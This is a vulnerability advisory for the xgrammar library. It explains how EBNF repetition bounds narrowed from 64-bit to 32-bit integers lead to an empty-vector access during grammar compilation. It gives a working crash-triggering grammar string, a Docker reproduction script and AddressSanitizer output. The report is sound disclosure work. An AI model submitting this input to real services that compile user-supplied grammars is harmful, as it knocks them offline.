Out-of-Bounds Access Through Narrowed Repetition Bounds
Affected repository: mlc-ai/xgrammar
Observed HEAD: f07ca3cb03affaca98809c4e9dad41deed2f7730
Summary
XGrammar's EBNF frontend parses repetition bounds as signed 64-bit integers but stores every kRepeat expression in three signed 32-bit words. The assessed revision (f07ca3c, after v0.2.5) narrows the parsed values without first checking that they fit. A caller that can submit an EBNF grammar can therefore make a constant-size grammar violate the repetition expander's lower >= 0 and upper == -1 || upper >= lower invariants. Compiling root ::= "x"{4294967295,8589934590} on the tested amd64/GCC build reaches std::vector::back() on an empty vector and terminates the process under AddressSanitizer.
The demonstrated impact is process-level denial of service during grammar compilation. The PoC does not establish a controlled out-of-bounds read, data disclosure, or code execution. An attacker must be able to supply or influence an EBNF grammar that the application passes to Grammar.from_ebnf and then compiles; supplying ordinary text to a trusted, already compiled grammar is not enough.
Detail
The root cause is a width mismatch across the EBNF parser, grammar builder, packed grammar-expression storage, and repetition expander. The parser validates one representation, but the downstream code consumes a different representation without revalidating it.
-
EBNFLexer::Impl::ParseIntegerTokenincpp/grammar_parser.ccaccumulates numeric tokens inint64_tand permits values up to1000000000000000. Both PoC bounds are therefore accepted by the lexer without integer overflow. -
EBNFParser::ParseRepetitionRangealso usesint64_t. It rejects a negative lower bound and, for a bounded range, checksupper < lower. For the PoC,4294967295 <= 8589934590, so the range is valid at this stage. An omitted upper bound, and the printer-compatible spelling-1, use the internal value-1to mean unbounded.
int64_t lower = ParseInteger();
if (lower < 0) {
ReportParseError("Lower bound cannot be negative", -1);
}
// ...
int64_t upper = ParseInteger();
if (upper < lower) {
ReportParseError(/* ... */);
}
EBNFParser::ParseElementWithQuantifierthen converts both validatedint64_tvalues independently toint32_t. The project is compiled as C++17, where converting an out-of-range integer to a signed destination type is implementation-defined. On the tested GCC builds, the low 32 bits are retained:4294967295becomes-1, while8589934590becomes-2. The relationship checked by the parser is consequently reversed after the check.
return builder_.AddRepeatFromExpr(
cur_rule_name_,
grammar_expr_id,
static_cast<int32_t>(lower),
upper == -1 ? -1 : static_cast<int32_t>(upper)
);
The upper == -1 condition only protects the parser-generated unbounded sentinel before conversion. It does not prevent a positive user value such as 4294967295 from becoming the same -1 bit pattern after conversion. This also causes non-crashing semantic corruption: for example, {0,4294967295} becomes internally unbounded, and {4294967296} becomes an exact zero repetition on the tested implementation.
GrammarBuilder::AddRepeatstores[rule_id, min_repeat_count, max_repeat_count]directly in the grammar expression'sstd::vector<int32_t>backing storage. NeitherAddRepeatFromExprnorAddRepeatchecks non-negativity, ordering, or the special meaning of-1.RepetitionRangeExpanderImpl::VisitRepeatlater reads those two signed 32-bit words and widens them back toint64_t; widening preserves the corrupted valueslower = -1andupper = -2.
int32_t GrammarBuilder::AddRepeat(
int32_t ref_rule_id, int32_t min_repeat_count, int32_t max_repeat_count
) {
std::vector<int32_t> data({ref_rule_id, min_repeat_count, max_repeat_count});
return AddGrammarExpr({GrammarExprType::kRepeat, data.data(), /* ... */});
}
-
RepetitionRangeExpanderImpl::ExpandRepetitionRangedocuments its required invariants withXGRAMMAR_DCHECK(lower >= 0)andXGRAMMAR_DCHECK(upper == -1 || upper >= lower). The normal build used by the PoC does not enable internal checks, so these are not input validation. Becauseupperis-2, theupper != -1 && upper <= 128branch treats the corrupted range as a small bounded range and callsLegacyHandleRepetitionRange. -
In
LegacyHandleRepetitionRange, the negativeloweradds no mandatory elements. The differenceupper - loweris-1, so neither loop adds an optional-rest rule.rest_rule_idsremains empty, yet the function unconditionally evaluatesrest_rule_ids.back()and uses the result as a rule ID. Callingback()on an empty vector is undefined behaviour and is the final out-of-bounds access reported by AddressSanitizer.
std::vector<int32_t> rest_rule_ids;
for (int64_t i = 0; i < upper - lower; ++i) {
rest_rule_ids.push_back(builder_->AddEmptyRule(/* ... */));
}
// ...
builder_->UpdateRuleBody(rest_rule_ids.back(), last_grammar_expr_id);
The failure occurs during GrammarCompiler's optimization pipeline, when RepetitionRangeExpander::Apply visits the malformed kRepeat. No generated token input, allocator grooming, or race is required. Enabling internal checks may stop on the violated invariant earlier, but that remains an attacker-triggered process termination rather than safe rejection.
Reproduce
Fresh validation at current default-branch commit f07ca3cb03affaca98809c4e9dad41deed2f7730 reached the reported sink under AddressSanitizer.
The following command pins the assessed revision instead of cloning a moving branch. It builds XGrammar with AddressSanitizer in a disposable container and runs the public Python entry points used by the report. The final Python process is expected to abort; do not run it in a production environment.
docker run --rm -i python:3.12-slim-bookworm bash <<'DOCKER'
set -eux
export DEBIAN_FRONTEND=noninteractive CMAKE_BUILD_PARALLEL_LEVEL=2
apt-get update -qq
apt-get install -y -qq --no-install-recommends ca-certificates git cmake ninja-build g++
python -m pip install -q --index-url https://download.pytorch.org/whl/cpu torch
python -m pip install -q scikit-build-core apache-tvm-ffi pydantic transformers numpy typing-extensions
git clone --depth 1 --quiet https://github.com/mlc-ai/xgrammar.git xgrammar
cd xgrammar
git rev-parse HEAD
git submodule update -q --init --recursive --depth 1
ASAN_OPTIONS=verify_asan_link_order=0:detect_leaks=0 \
CXXFLAGS='-D_GLIBCXX_NO_ASSERTIONS -fno-lto -fsanitize=address -fno-omit-frame-pointer -g' \
LDFLAGS='-fno-lto -fsanitize=address' \
python -m pip install -q --config-settings=cmake.build-type=Debug \
--no-build-isolation --no-deps .
cat > /tmp/repro.py <<'PY'
import xgrammar as xgr
tokenizer = xgr.TokenizerInfo(["x", "<eos>"], stop_token_ids=[1])
grammar = xgr.Grammar.from_ebnf('root ::= "x"{4294967295,8589934590}')
xgr.GrammarCompiler(
tokenizer, max_threads=1, cache_enabled=False
).compile_grammar(grammar)
PY
asan_path="$(g++ -print-file-name=libasan.so)"
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1:handle_segv=2:use_sigaltstack=0:disable_coredump=1 \
LD_PRELOAD="$asan_path" \
python /tmp/repro.py
DOCKER
I observed the following decisive frames. The disposable container's source prefix is omitted here so the report remains portable.
AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV ...
#0 ... RepetitionRangeExpanderImpl::LegacyHandleRepetitionRange(...) cpp/grammar_functor.cc:2109
#1 ... RepetitionRangeExpanderImpl::ExpandRepetitionRange(...) cpp/grammar_functor.cc:2168
#2 ... RepetitionRangeExpanderImpl::HandleRepetitionRange(...) cpp/grammar_functor.cc:2153
#3 ... RepetitionRangeExpanderImpl::VisitRepeat(...) cpp/grammar_functor.cc:1994
#13 ... RepetitionRangeExpander::Apply(...) cpp/grammar_functor.cc:3819
SUMMARY: AddressSanitizer: SEGV cpp/grammar_functor.cc:2109
Credit
Zheng Yu @ Depthfirst